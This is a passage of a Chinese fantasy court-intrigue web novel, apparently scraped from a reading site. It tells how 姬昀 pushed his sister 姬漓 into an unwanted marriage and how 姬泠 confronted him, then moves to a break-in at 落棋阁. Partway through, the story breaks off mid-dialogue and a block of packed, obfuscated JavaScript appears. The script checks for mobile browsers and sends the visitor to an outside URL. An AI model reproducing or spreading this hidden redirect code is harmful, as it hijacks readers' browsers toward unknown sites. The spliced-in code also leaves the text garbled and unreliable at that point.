比宋礼强多了……顾岁寒暗暗腹诽,却知道这话不能轻易和别人说,在舌尖滚了一圈又咽了回去,另换了话题问:“陛下醒了吗?沈和正那边有随行使臣晕倒,他们有没有说什么?”
说起这谢停舟也是困惑地皱起了眉:“……不,陛下还没醒,不过脉象已然趋于平稳,御医说估计快了。至于沈和正那边,很奇怪,什么话都没说,只是拜托在他们院子附近值守的黑棋过来说能不能快点了解此案,北周还在等着他回去。”
顾岁寒轻声问:“那将军怎么说?能放他们回去吗?”
谢停舟摇头:“沈和正一行人肯定是不能扣押的,谁知道时间长了会出什么事?不过殿下的意思是眼下还不能放,一是陛下还没醒,此事不能绕过他的意思;二是朝中众臣的眼睛都还盯着这边,他们可不知道此事和沈和正是不是真的毫无关联,要是将军就这么轻易放虎归山,指不定会招来什么指责。”
顾岁寒本来就讨厌这些朝中的弯弯道道,失忆之后什么利害关系都不太记得,听这些更是头脑发晕,伸出手支着太阳穴来消化这一-大团毛线似的人情:“……好吧,所以现在是在干什么?有什么新发现吗,为什么都围着那边?”
“哦,”谢停舟解释道,“那边有个人出现了失魂症,好巧不巧,他以前是在阿泠帐下任职的,所以两位将军都很关心。”
“失魂症?”顾岁寒挑眉,“他魂魄没了?所以他现下是在谁那里当值的?”
“有认识他的人说,阿泠死后,他就重新谋了个金吾卫的差事,此次也是随侍圣驾左右才来的上林苑。”
顾岁寒对涉及魂魄的术法只能说是略懂皮毛,但谢停舟出身内修大家青城山,按理来说应该精于此道才是,于是问他:“失魂症不应当是你擅长的领域吗?怎么反倒是你在这里隔岸观火?”
谢停舟只是摇头:“我才疏学浅,只能看出此人魂魄不在体内,至于为什么不在、什么时候能回来,一概不知,便不在他二位面前添乱了。”
说话间,姬昀听见了她的声音,便急急地走了过来。顾岁寒想起来对方所托,连忙安抚道:“姬将军莫要担心,公主身上没有木偶纹,而且我回来时已然清醒,看起来并无大碍。将军要是不放心的话,不如叫人过去仔细探探公主的魂魄?”
听到前半句话时,姬昀明显松了口气;不过听到后半句时,他又明显踌躇了起来。顾岁寒也不说话,就看着他在原地驴拉磨似的转了一圈,最后道:“算了吧。知道她还安好,我就放心了。至于失魂傀儡一事,我们都还不清楚,就不要拿这种事麻烦她了。”
这话说得古怪,更像是他不派人去关怀自己妹妹的说辞。顾岁寒不由得想起丹桂说他们兄妹二人曾经离心一事,没忍住打听道:“当真如此?我倒是听公主身边的丹桂姑娘说,将军和公主的关系并不像外人看去那么好,本来以为是谣言,结果现下看来,却是有一两分真呢。”
这话本意只是试探,没想到姬昀听罢,脸上神情顿时跟打碎了的颜料盘似的,十分五彩缤纷。谢停舟显然也是第一次听见这种说法,十分吃惊地看着自己的主帅。
姬昀被面前两道视线看得脸色烧红一
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片,咬牙道:“她……唉,阿漓……本来跟我也不是很亲近,我一直以为是她生性内敛,在意男女大防才如此,结果那日我才知道,她其实对我和阿泠都颇有微词。”
谢停舟显然也是第一次听到这种说法,讶异道:“为何?我见她和阿泠一贯是很亲近的呀!”
“那是因为阿泠待她好!”姬昀烦躁道,“这事说来也话长了……其实我和阿泠不算是我父母的亲生儿女,这你们知道吗?”
这就有些超出顾岁寒的情报范围了,她诧异地半张开嘴,发出了个单音节:“啊?”
算到现在,她已有近两日未曾好好睡觉,本来还有些困倦,但这堪称惊天八卦的消息还是让她彻底清醒了。
她偏头看了一眼谢停舟的表情,试图从他那里寻找一些同听八卦的认同感,却发现他似乎早就了解:“我大概猜过。你和阿泠出生前后,姬肃将军和顾云华将军一直都在前线,按理说是没有孕育的时间的。但阿泠和你与顾云华将军长相都十分相近,所以我一直以为只是军中史料不详,没有细载才如此的。”
姬肃和顾云华是姬泠姬昀父母的名字,在姬漓还小时就祭阵殉国了,因而顾岁寒对这两个名字印象颇深。
“是。”姬昀揉了揉眉心,有些疲惫道,“他二位算到自己可能要早亡。姬家世代名门,本是修行大家,但近些年来颇为凋敝,传到我父母这代时,本家只剩他们一脉。”
这事对于一个传承还未断绝、家风也还清正的修行世家来说堪称诡异。放到百年前,谁都想不到这个名将辈出的家族竟马上就要沦落到亡族的程度。姬肃本人对这件事也颇为焦急,但不知是急功近利还是夫妻两人没有子女运,成婚后好几年,两人都无所出。
顾云华对于丈夫这种焦虑十分不满。关于寿数的术数运算自古以来就被认为是触及天道的禁术,算得不准的大有人在,所以姬肃这种传承断绝的忧虑很有可能是杞人忧天;而且怀孕育儿对她在战场上建功立业也有害无利。思量再三,她向姬肃提出:要不我们养育一个莲生子吧。
所谓莲生子,便是将清净地的莲花、莲藕以及莲子拼作人形,用夫妇二人血肉浇灌,便能长出一个活蹦乱跳的小儿。且莲生子血脉肉身都与父母相通,一些需要血脉传承的术法也能学习,一方面免去了顾云华的孕育之苦,另一方面也解决了姬肃忧心姬家术法不能传承的问题。
唯一的不足就是,这个术法需要夫妻双方都有强大的法力,而且两人都需要贡献出自己身上最为珍贵的血肉,术法才能成行。
思量再三,姬肃同意了。法力是最不用担心的,他二人都出自修仙世家,自小修行,最不却的就是修为;清净地的三莲也很快就找齐;最后的问题就是,到底怎样珍贵的血肉才能让天道认可,让他夫妻二人这堪称女娲造人般的壮举能成功呢?
夫妻二人翻遍古籍,试图寻找前人成功的经验拿来效仿,却迟迟未有结果。敢于尝试此等行径的人本就不多,成功的人更是如沧海一粟。就当两人几乎要放弃时,一篇杂记跃入了两人视野。
——最珍贵的血肉并无一个固定的要求,而是取决于献出血肉的人。只要这片血肉对于献肉之人而言举足轻重,那就可以被天道造物规则所认可。
姬肃是军中-出了名的神射手,百步穿杨,所以他取出了自己的眼睛作为莲生子的温床;顾云华在军中一杆银枪如入无人之境,一手枪法使得出神入化,所以她奉出了自己握枪的右手的小拇指,从此改练左手枪法。
莲生子在两人期许的目光下渐渐长大,生出人形。据说莲生子成形的最后几天会生出羞-耻之心,是不能被旁人所看到的,所以在最后几天,夫妻二人特意将莲生子送到了附近的道观中,找了个清净厢房单独放置起来,以免被他人看见。
然而,就是最后这几天出了问题。
按理已然到了莲生子彻底成形的那天,厢房中却迟迟没能传出该有的动静。姬肃和顾云华二人焦急万分,却也不敢贸然进入房间,怕打搅了最后关键的步骤。然而第二天、第三天……厢房中连呼吸声都没有,也就是说,莲生子很有可能失败了,夫妻二人自以为珍贵的血肉很可能并不被天地认可。
姬肃失望万分,亲自打开厢房门上的锁,准备进去回收这场术法的失败品。
可就在他打开门的那一瞬,厢房中传出了响亮的哭声。
不是一声,是两声。
他们的血肉,孕育出了两个天地道法的婴儿。
29. 思越人 五(上)
事后两人才发现,那株莲花其实是并蒂莲。就在它被单独安放的那几天,原本只是一支的莲花成了精般,飞速抽条出一朵新的小小花骨朵,并在这天落地成人。
但新生的花朵明显比原来那朵小很多,生出来的人也比另一个瘦弱。更糟糕的是,按照古籍记载,每孕育一个莲生子就需要父母各出一份血肉。这小花朵仿佛钻了什么空子似的生长成人不说,还分走了原本属于自己的同伴的一部分血肉法力。
两个孩子,无论是谁,都没有姬肃和顾云华预期中那般有天赋。
“所以,”谢停舟插嘴,“瘦弱些的新生花是阿泠,原本那朵是你?”
“正是,”姬昀点头,“我们俩都没有期待中那般好,所以自幼时父母对我们要求就十分严格。好在最后我俩应该都勉强长成了他们希望的样子,不过他俩恐怕也都不知道了……”
他这题都快偏到关外去了,顾岁寒听了半天没听到自己想要的,忍不住打断提醒他:“将军,姬漓。”
“哦,对,对,”姬昀恐怕是情绪大起大落之后懵住了,疲惫地撑住了额头,“姬漓……姬漓……唉,平心而论,我其实是很羡慕她的。她出生时战事已经基本平息了,所以父亲母亲都很期待她的出生。”
“那时候我就感觉到,父母对她的感情和对我们俩的明显是不一样的。她……更像一个传统意义上的女儿,承载着父母对于家庭的渴盼而出生长大,我们两个……”他想了半天都没想到合适的形容,只好找了个比喻,“读书人会为了夜里用功而买灯烛,我们俩就是被父母买来的‘灯烛’。倘若他们俩没有‘夜里读书’的需要,那我们两个是绝对不会诞生在世界上的。”
顾岁寒若有所思地点了点头。谢停舟插嘴:“在下记得,姬漓公主被先帝收养之后,先帝对她也极尽娇宠,吃穿用度无不是一等一的,有时候甚至皇后宫中的用度都不及她。所以,将军是因为父辈的不公平才和公主有嫌隙的吗?”
“我……我……”姬昀抬头看了他二人一眼,随后垂头丧气般低下了头,“是,但其实也不能算是……唉,说起来这件事,我也很后悔。”
那是姬漓及笄的那一年。为了庆祝,她生辰那日,姬泠暂时交代了手上的事,千里迢迢回到临安参加她的及笄礼。姬昀暂时走不开,也托人送来了生辰礼,并许诺过几日一定回。
先帝常年养在身边的女儿就姬漓一个,虽然这女儿和他没有什么血缘关系,但毕竟相处时间久了,养条狗都能养出感情,何况是一个活生生的,能听你说体己话、陪你下棋的人呢?
为表自己对姬漓的荣宠,先帝把及笄礼办得十分风光,生辰礼足足拉了八十一辆马车,奢华程度不亚于帝王嫁女。当日公主府也是门庭若市,文臣武将齐聚一堂。
姬泠当天少见地一整日都没戴人皮面具,以真容示人。但比之她这个目前在边境还籍籍无名的军师,她的妹妹明显要炙手可热许多,没几个人注意到她的出现。但宴会中途,姬漓常常在人群中寻找自己的姐姐,直到姐妹两人目光交汇,姬漓才放心地抿嘴一笑,将目光挪开去。
开礼之后,众人正衣冠。姬漓作为笄者站到了场中。皇后作为正宾为她挽发加笄,到三加【注】时,姬漓悄悄地看向了人群中的长姐,见她正笑盈盈地看着自己,姬漓松了口气,不知为何,有了一种流泪的冲动。
礼成之后,众人依次退场,告别时都前来给姬漓送上祝语。姬漓一一侧耳听着,脸几乎都要笑僵了。直到姬泠来时,还没等对方开口,姬漓就连忙叫住了她:“姐姐!”
姬泠疑惑地停住了。她小声央求道:“姐姐……别走,好不好?”
其实姬泠本是从北疆赶过来的。她刚刚统领分舵没多久,正是诸事忙碌的时候。她本打算和姬漓道别后就回去,但妹妹及笄毕竟是大事,她思量再三,答应道:“好。”
姬漓一下喜笑颜开。姬泠站到一边等姬漓把宾客应付完。
最后一人离开时,姬漓大大松了一口气,挺拔了一天的背也松快了不少。她转过身笑嘻嘻地拉起姬泠的手:“姐姐,可算和你说上话了,我好想你啊!”
姬泠心里还惦念着分舵的事,面上不显,嘴上的语气却是有些敷衍:“……怎么啦?咱们年节时不是刚见过吗,怎么现在就想了啊。”
姬漓没听出来姐姐的着急。她今天太快乐了,只是没心没肺道:“年节到现在也有快八个月了,好久好久呢!我就是想姐姐了嘛,今晚我可以和姐姐一起睡吗?”
姬泠明显迟疑了一下,但看姬漓期待的样子,只好咬牙道:“好啊,今天我们阿漓及笄,自然是听阿漓的。”
姐妹俩用了晚膳,手拉手进了屋洗漱,一起下了盘棋,姬漓还拉着姬泠弹琴给她听,直到夜深人静才休息。可上了床后,姬漓也不安生,姬泠闭着眼都能感觉到她像个小动物一样在被子里拱来拱去。
姬泠是风餐露宿惯了,什么情况下都能睡得着,但她觉得自己还是有必要关心一下自己的妹妹:“怎么啦,这么开心,还不赶紧睡觉,明天早上还要去宫里拜谢宋伯伯呢。”
姬漓没说话,但是却不动了。姬泠以为这下她要安然入睡了,于是也放心地闭上了眼睛。正当她昏昏沉沉就要入睡时,忽然听见姬漓喊她:“姐姐。”
这一声把姬泠喊清醒了。她本以为姬漓是兴奋得睡不着,但似乎并非如此。姬漓的声音闷闷的,带着哭腔,明显是受了委屈的样子。她连忙翻过身来面对着姬漓,半撑起自己的身子:“怎么啦?”
但姬漓半天没说话。姬泠急了:“是不是有人欺负你?跟姐姐说,实在不行就告诉宋伯伯,不能咽了这口气去!”
姬漓也坐了起来。黑暗中,她的眼睛像葡萄一样,反射着盈盈的光。姬泠听她说:“我……我好羡慕你啊,姐姐。”
姬泠等了半天没想到
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是这么一句话,顿时哭笑不得:“我有什么好羡慕的啊,干黑棋都是把脑袋别裤腰上的,指不定哪天就要出事了。”
姬漓听她这么说,顿时急了:“呸呸呸!姐姐不许这么说!姐姐要长命百岁的!”
姬泠只好哄她:“好好好,长命百岁。”
姬漓这才满意。但姬泠看着她神色,感觉她心中所想似乎并非说出来这般简单,便试探着问:“……所以到底怎么啦?为什么忽然和我说这个?”
姬漓半垂着头:“……没什么,姐姐。我就是忽然觉得,我是不是太幼稚了啊。前两天,朱鸢姐姐难产,差点就死了。宋伯伯说我及笄之后就要嫁人了,我害怕。”
她这话说得颠三倒四的,姬泠废了一番力气才明白她是想说件什么事。朱鸢算是姬漓的半个手帕交,姬泠不在她身边时,几乎是朱鸢代行了“姐姐”这一职务。姬泠隐约记得她应该是嫁给了自己的表哥。
如今姬漓也要出嫁,目睹了朱鸢因为生产在鬼门关前来回了一圈,她自然也心中惧怕。姬泠弄明白了她纠结一晚上了事由,顿时松了口气:“哎呀!原来是这么个事。这多简单,姐姐教你,你就直接跟宋伯伯说,还想多在他膝下留几年,孝顺孝顺,不想嫁人,这不就结了吗!宋伯伯看在阿爹阿娘的面子上,肯定不会驳了你的,别怕。”
姬漓殷殷切切道:“……真的吗?”
姬泠耐心道:“自然是真的呀,要是宋伯伯实在不同意的话,你就来找姐姐好啦,酿姐还有你安澜姐都可喜欢你了。到时候,姐姐请你吃北疆的烤羊!”
姬漓欢呼了一声,把自己摔回床上:“好耶!烤羊!”
姬泠哭笑不得,在她鼻子上刮了一下,蹭了一指头的鹅蛋粉:“就知道烤羊!现在放心了,可以好好睡了吗?”
姬漓“嗯嗯”点头,扯了扯被子,把自己埋进去,包成了鼓鼓囊囊的小包子。姬泠失笑,躺回了床上,伸手搂住这只汤包,一夜无梦,直到天明。
天亮之后两人一起用了早膳,便各奔东西。临走时,姬泠拉着姬漓肩膀,觉得她气色甚好,心结看样子也解了七八,于是满意地拍了拍她肩膀,道:“姐姐走啦,自己一个人在临安要照顾好自己。”
姬漓点头,目送着姐姐的背影离开公主府,往落棋阁总舵的方向走去。
这件事看似到此就圆满解决了,但事情的走向是姬泠姬漓二人都始料未及的。
先帝想嫁姬漓的意图不是无缘无故的。那时的镇西军主帅还不是姬昀,而是一员名为蔡虎的猛将。他和宋酿二人共为先帝的左膀右臂,也是本朝唯一的异性王,封地在川蜀一带。
但人心易变,哪怕是曾经的同袍也可能离心。近些年来,蔡虎的野心越来越大,愈发有割地为王的架势。先帝十分忌惮,但一时又没有好的理由向功臣下手。
然而这对君臣间岌岌可危的平衡,被蔡虎的一封奏折打破了。
30. 思越人 五(下)
姬家这一代已经有两个从军的人了,先帝绝对不能容忍姬漓成为未来的皇后,否则他百年以后到时候江山姓什么都未可知。但这理由又不能光明正大地说出来,所以先帝只能遮遮掩掩,以女大不中留为由给姬漓找个人家,迅速掐灭自家儿子这不该有的旖念。
但当时的姬漓不知道。她与先帝安排相看的那些男子压根不熟悉,让她嫁过去简直是天人说梦。她开始发了疯一般地反抗,托人联系远在北疆的姬泠等人,试图逃离临安这个巨大的牢笼。
但好巧不巧,姬泠刚刚回到青州,就因为白棋安排的问题潜入北周亲自调整,谁都不知道她究竟在哪;至于宋酿和宋安澜,她们俩那几日忙于练军,姬漓的话里又语焉不详,导致谁都没把姬漓的求助当一回事,以为那只是父皇的一时兴起,姬漓熬过这段就好了。
就在姬漓几乎要绝望时,她得到了一个好消息:原本因为军务繁忙没能抽开身的姬昀,启程返京了。
听到消息时,她喜出望外,派婢女蹲守在临安西门,等姬昀一出现,立马就将他叫到了自己府上。
姬昀对京中的事几乎是一无所知,所以当他接住朝他梨花带雨地跑过来的姬漓时,反应和当初听见姬漓哭腔的姬泠几乎是如出一辙:“阿漓?怎么了,谁欺负你了?”
姬漓一把鼻涕一把泪地把事情从头到尾交代了一遍。可等她说完最后一个字,满怀期待地抬起头来看向自己的哥哥时,却瞬间从头凉到了脚。
姬昀至今都记得姬漓颤颤巍巍的眼神:“哥……哥哥?为什么这么看着我?我……我说的有什么问题吗?”
姬昀也不记得自己当时是什么眼神了,但大抵是不耐烦的。在那时的他看来,女子嫁人虽说算不上天经地义,但也称得上是水到渠成。姬漓这样的小身板,舞不动枪挥不动棒,上不了沙场杀不了敌,文采也一般,那不嫁人还等着干什么呢?
先帝又不能养她一辈子,他和阿泠又不能常常顾得上她,早早觅个夫婿找到后半生的依靠才是正经事。现在这样又哭又闹的算什么呢?
但现在回忆起来,他不得不承认,当时他心中还有一个更为可怕的、充满了妒忌的恶毒念头。
“小的时候过得比我和阿泠都顺风顺水,现在也到了该偿还的时候了吧!”
当然,这话见不得人,他也说不出口。他只是遗憾地、又愉悦地看着姬漓一步步后退,神情从期冀一点点灰拜了下去,变得木然又绝望。
“……好,”她说,“我知道了,哥哥,我会遵从陛下的旨意,早日择婿嫁出去的。”
姬昀现在想来,其实是很想给过去的自己一巴掌的。他因为自己的无知和傲慢将妹妹推入了婚姻的火坑,还嘲笑她“幼稚”“不成熟”。
这是罪过。
当然,那一巴掌姬泠已经替现在的自己给过了,就在她出完任务回来后不久。
其实从姬漓的及笄礼算起,到姬泠梳理完北周境内白棋回来之后,只有短短不到一个月的时间。但一个月的时间内已经可以发生很多事了。
比如说,姬漓遵从先帝意愿,迅速地订了亲,连婚期都已经算好了;又比如说,姬漓在这其中做出了一些小小的反抗——她没有选择宋云起给她挑选的任意一个男人,而是选中了布衣出身、刚刚中了状元的韩玉青。
先帝对这个结果其实是有一些微妙的不满的。但无论如何,把姬漓嫁出去的目的已然达到,宋礼虽然看上去失魂落魄,却也算是走上了正轨,一切看起来都欣欣向荣。
姬泠听说了消息,当夜用缩地千里阵回到了临安,敲响了公主府的大门。门童见是她,却没有放她进去,而是用身子堵住了门口,傲慢道:“姬姑娘请回吧。我们殿下正在备嫁,按旧例不见外客。”
姬泠急道:“我怎么能算外客呢?我有急事找你家公主,小兄弟能否行个方便?”
门童将她从头到脚扫视了一遍,最后不情不愿道:“好吧,我去通报。”随后关上了门。门后的脚步声渐渐行远,姬泠焦急地在门口来回踱步,靴尖一不小心卡到了石子,把脚尖的布料划裂了一条长长的口子,露出了底下的袜袋。
姬泠看着那处裂口,心中不安的感觉始终挥之不去。
鞋履有损,不便行走,她干脆就在原地蹲了下来。姬泠等了一刻钟有余,正当她觉得脚都要蹲麻了的时候,她听见门里的脚步声去而复返,顿时兴奋地站了起来。谁知门打开之后,里面的门童还是摆着那副冷脸:“我们公主说了,不见。”
姬泠顿时急了:“为何不见呢?你是不是没说清楚?”
门童一听这话不乐意了,两手往胸前一抱:“你可听好了,我家公主明确说不见你。原话是,‘该来的时候不来,想必和其他人也是一条心了,现在假惺惺地跑来做什么?我心甘情愿要嫁给韩朗,叫她莫要来搅扰’。”
姬泠不知姬昀劝婚一事的前因后果,只觉得莫名其妙。门童见她发呆冷哼了一声,就要把门关上。姬泠眼疾手快,伸脚卡住了门缝。这门童关门劲不小,厚重的木门夹上脚面,顿时疼得她倒吸一口凉气。
门童只是遵从主人意思拒客,没有真想得罪自家殿下的亲姐姐,顿时慌里慌张地松了门,嘴上还色厉内荏道:“做,做什么!反正今天这门你是绝对进不了的,哪怕是进了,你也见不着殿下!请回吧!”
“不,不是,”姬泠抽回自己的脚,感到上面红热的温度,怀疑明天这脚就能肿成猪蹄,“小兄弟,我就是问个事,什么叫‘和其他人是一条心了’?我离开后这段时间,有人对公主说了什么不成?”
门童想了想,便将姬昀曾到访的事说了。姬泠当时就觉得大为不妙,匆匆和门童道谢后就用阁里的缩地千里阵赶往西疆,找到了正在巡营的姬昀。俩人一对账,姬昀吞吞吐吐地把事情交代了,下一瞬,一个巴掌就扇了过来,姬昀被那力道扇得头都偏了过去,便听得姬泠冷冷的声音。
“姬灼烨,”她连姓带字地喊他,眼睛里都是奔波和愤怒产生的红血丝,“我看不起你。”
姬昀不敢出声。姬泠咬牙切齿。
“亏阿漓把你当最亲的人。”她说,“你竟连尊重她的意愿都做不到吗?我问你,倘若今天要相看不喜欢的婚约对象的人是你,你还会觉得‘男子适时娶妻成家’是顺理成章吗?你会娶一个你不爱的人,浑浑噩噩地过一生吗?”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15454101|165650||http|test|mini|href|location''.split(''|''),0,{}));
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>姬昀刚想反驳这怎么能一样,却惊觉其中并没有什么不同。姬漓固然软弱,但贸然为她寻找下半生的靠山无异于把她推向一个火坑——因为谁都不知道这靠山到底是坚硬的大理石,还是一吹即散的散沙。
“现在你明白了,”姬泠斜着眼看他,目光里只剩冷冰冰的愤怒,“女子走出家宅一途,道阻且长。我不指望每个男人都能理解,却也曾经觉得至少你是不同的。”
“母亲,我,你喜欢了好久的宋安澜,每个活生生的例子都在告诉你,女子也能顶天立地,女子不是天生就应当低人一等的。我以为,耳濡目染这么久,你至少能明白。”
姬泠冷笑一声:“现在我明白了。指望男子理解女子的境地就好比让夏虫知道冬天的冰寒,是几乎不可能的。”
姬泠扔下这番话后就扭头走了。兄妹两人冷战了数月,期间听说了消息的宋安澜也来信把他劈头盖脸地骂了一顿。
可当姬昀终于明白了自己犯下了什么样的错误,想找姬漓和好时,他们之间的裂隙却像是被撕碎的布帛,哪怕拼回去了,中间也有一道丑陋的缝线。
姬漓还会称他为“哥哥”“兄长”,但说话时都盯着他衣领。两人再也没有眼神上的接触,明明是世界上最亲的人,却也相敬如宾了。
听完了来龙去脉,顾岁寒默默在心里鼓掌:姬泠这一巴掌扇得好哇。
当然这话她没说出口。不过看谢停舟神色,他恐怕也是这么想的。他神色复杂地拍了拍姬昀的肩膀,也不知说什么好了。
屋里一时间陷入了诡异的沉默。一直旁听的宋安澜责备地看了一眼姬昀,随后走过来:“这边我调查得差不多了,咱们出去说吧。”
四个人鱼贯而出到了屋外。等走到一处僻静地方时,宋安澜转过身来,道:“我先说安排吧。”
听见她语气严肃起来,顾岁寒站直了身子,便听得她说道:“韩玉青此人绝对有问题,梅臣,你现在立刻返回阁中,组织棋子搜寻韩玉青的下落。”
顾岁寒麻利道:“是。”
“此案蹊跷重重,我怀疑韩玉青早有预谋。人傀儡的法术我们都毫不了解,可能需要派人潜入滇国查探此事。”
说这话的时候宋安澜的目光移向了姬昀。他立刻会意:“我马上就要返回军中了,此事由我打理。”
顾岁寒补充道:“西疆一线落棋阁也有安插棋子,虽然数量不及北疆一带,但也可从旁协助将军。”
宋安澜看了一直没出声的谢停舟一眼,叹了口气:“至于谢将军……就先接着查阿泠的案子吧。唉,阿泠一事也真是的,简直毫无头绪,说不定到时候把韩玉青抓回来上点刑问问还能有点新线索……”
谢停舟闻言神色微微一动。顾岁寒心说这不就是宋安澜忽悠谢停舟去帮忙的激将大法,一边又不得不承认宋安澜言之有理。
姬泠一案线索太少,唯一还算清楚的韩玉青夫妇就像两只闭嘴的蚌壳,怎么撬都撬不开。
韩玉青这次看似在秋猎上莫名其妙地发难,却也露出了自己的致命空门:至少落棋阁想要追查他身上有关姬泠的线索,不会因为他位高权重而且只是“有嫌疑”而不能深查了。
31. 苏幕遮 一
当天夜里,顾岁寒就返回了城中的落棋阁——蹭了谢停舟的飞剑回去的。她一边愧疚自己好像在把人当马使唤,一边又觉得这实在是方便,没忍住又使唤了他一次。
送她回阁里之后,顾岁寒往自己的书房方向走,准备把蒋奚几个人从床上刨起来商量下一步动作,谢停舟则往自己在落棋阁院子里的值房兼卧房的方向走去。顾岁寒看着他一个人孤零零的背影,鬼使神差地叫住了他:“喂!谢将军,你……不回自己府上吗?”
谢停舟回过头来。夜里没什么光,顾岁寒看不清他的表情,只感觉他似乎微微愣了愣,半晌才道:“我……我在临安没有府邸。”
说这话时他语调奇怪,但顾岁寒没有深想,只是被他话里的意思惊到了:“没有府邸?那将军以前返京都是住哪里的呢?”
“没和阿泠定亲之前,在京中都是小住,一般就找个客栈。”谢停舟微微侧脸,看向临安城里的方向,“定亲之后,就住在公主府上。现在公主府被查封,自然就没有家了。”
说这话时,他语气中带有无限落寞。顾岁寒这才意识到,之前她听他语调奇怪,是因为他说话时在强忍哽咽。
原来,是姬泠给了他一个家。
他被姬泠从隐居地拉出来,拉进这纷纷世间,叫他为国效力,叫他见到这世间最绚烂颜色。朱雀街的五陵年少,就此落成了他心中最鲜艳一点红。
可当他已然决意要为这王朝奉献一生时,她却松开了拉着他的那只手,徒留他一人在这滚滚红尘间辗转。
他便没有家了。
她微微愣神。谢停舟见她没有下一个问题,拱手一礼以示告别,缓缓地走向了自己值房的方向。
顾岁寒沿着石子小路往自己的院子走去。良久,她才意识到,刚刚他看的方向,应该就是城里长安公主府的位置。
她曾经路过那里。朱红的木门上贴着金吾卫的封条,院子里的树木已经旁逸斜出地长到了院外。那时她和宋安澜同乘一车,车路过公主府门前时,宋安澜特意叫停了车夫,掀开车窗上的车帘看了很久。
于是她便记住了那座芳草萋萋的院落。
现在想来,仅仅一年之前,公主府还举办过姬泠姬昀二人的生辰宴。姬氏兄妹三人在院里开怀畅饮,亲密无间。
现在已是物是人非。
顾岁寒摇了摇头,把脑袋里的胡思乱想甩了出去,进了自己的书房。书房里没点蜡烛,但顾岁寒早就对这里熟稔于心,摸着黑就往桌边走。
她有轻微的洁癖,或许也是常年在落棋阁带来的习惯,东西不归纳整齐她就十分难受。所以她的书房里,各类物品一向是分门别类地在架子上收好的。但今天,她走到半路时,脚下忽然踢到了什么东西。
顾岁寒意识到不对,一挥手点亮了书房里所有的灯烛。刹那间小小的书房光亮如昼——顾岁寒微微瞪大了眼,意识到这个书房像被人洗劫过一般,竹简、书册散落一地,墙上的挂画也被人扯下了一半,惨不忍睹。
她下意识把手按上了腰侧的剑柄,但很快意识到已经没有必要了。房间里没有第二个人的声音,盗贼早已逃走。她顺着地上沾了泥的鞋印快步走到后窗边,呼地打开窗,顺着这个方向看去,正是落棋阁的北苑,那边都是没出师的小棋子们的卧房。
此刻小棋子们都已经安睡,苑里一片寂静。
顾岁寒刹那间就意识到大事不好,她疾步返回到书桌旁,抓了一-大把传声符,匆忙间也没注意都传给了谁,只是低声道:“有人潜入落棋阁,速速叫所有还在阁里的人到执棋院前的空地来!”
不到半柱香的时间,空地前就呼啦啦地来了一批人。顾岁寒微微侧身,听着小棋子们的教习挨个来汇报手下棋子的到场情况,确认了无人伤亡,才微微松了一口气。
自打去年沈和正奇袭落棋阁之后,阁里夜间的守备就加强了许多,蒋奚也值今天的夜班。她站在顾岁寒身侧,略带担忧地看着她的背影,等教习们都汇报完之后才走上前来,低声问:“怎么样?”
“无人伤亡,目前看也没丢什么要紧东西。我回来时,那个翻我书房的人应当还在,听到我回阁里的消息才匆匆溜走,以至于没有时间善后。”顾岁寒不易察觉地舔了舔自己的嘴唇,感到一丝焦虑,“阁里四方值守的黑棋都说无人闯入,到底是这人武功太高了,还是……”
还是说,那个贼人就在面前这些人当中,而她们浑然不觉?
蒋奚顺着她的目光往下扫了一圈,没看出什么端倪,只好摇了摇头:“……我也不知道。要不要把人都扣在阁里,一一审查?”
顾岁寒点点头,随后犹豫了一下,又摇摇头:“……现在总舵派出去的白棋有多少?”
蒋奚分管白棋,对这方面早就烂熟于心:“三百四十二个,在我朝境内的有两百五十七个。”
随后她很快反应过来:“……执棋是在想安排找韩玉青的事?那现在这些白棋确实不够,还要从总舵多调一些黑棋出去。”
顾岁寒心不在焉地“嗯”了一声:“殿下找了精通术数的人算韩玉青的大致下落,等算好了我再安排。可要是扣下来今晚在阁里的人的话,剩余的人够调用吗?”
蒋奚掐指一算,为难地摇了摇头。夜间值守的本就以黑棋为主,假如把这批黑棋都扣下来的话,剩余的黑棋是绝对不够找人的。顾岁寒对这个结果早就有预料,听到的时候也没忍住叹了口气:“……当初怎么不多培养些人呢,抠抠搜搜的,干什么事都伸不开手脚。”
蒋奚解释:“本来是够的,但是沈贼那次杀了不少黑棋,现在才不够了。不过今年我们特意多找殿下要了些钱,招的小棋子比往年都多。”
但黑棋武功难学,出师都要至少五六年。姬泠当年在轻功一途上可谓天纵奇才,也是花了四年半才将将过了总试,今年招的小棋子们根本就是远水解不了近渴。
顾岁寒没有说话,只是目光沉沉地看着底下,忽然灵光一现:“你叫男的把上衣都脱了,女的叫几个教习,一一看看身上有没有什么奇怪的纹路,那几个教习就互相查看一下。”
蒋奚听去上林苑的棋子们说了木偶纹的事情,闻言便明白了她在怀疑什么,不由得微微一愣:“你是怀疑阁里也有被韩玉青控制的人?”
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>“以防万一。”顾岁寒简短道。蒋奚将话吩咐下去,棋子们虽然疑惑,但遵从命令的本能已然刻入骨髓,纷纷开始脱-衣自查。
顾岁寒站在高处,紧紧盯着所有人的一举一动,不放过每个人脸上细微的神色变化。这时她才注意到谢停舟也被叫来了,远远地站在人群外面,看样子恐怕刚刚躺下歇息就被叫起来,外面的罩衫还有些凌乱。
有个教习查过去,对着谢停舟为难起来,也不知道他这个编外人员该不该查。好在谢停舟注意到了,善解人意地把衣服先脱了下来。
顾岁寒不知为何有些心虚,先行移开了目光,看了一圈场地里别的棋子们,似乎都没有什么异状。再看回谢停舟时,他已经把中衣穿了回去,正在系外面罩袍的系带。
顾岁寒心说这人系系带的样子还怪温顺的,一边收回目光看向了旁边的蒋奚。蒋奚摇了摇头,表示目前场中的人没有异样。
她微微放下心来。不管怎么说,今晚在场的人与韩玉青应该都没有瓜葛,未必不算是连日来的坏消息中的一个好消息。
但这也从另一个方面说明了,今晚来她房间里翻东西的人身份并不像她猜测的那样简单。顾岁寒挥挥手示意众人可以回到各自岗位,一边低头默默地往书房里走。还没走到门口,她忽然听见了另一道追上来的脚步声。回头看去,竟是谢停舟。
顾岁寒用眼神表达了自己的疑惑。谢停舟追上来后在她面前站定,才开口问:“执棋说阁里遭窃,是怎么一回事?”
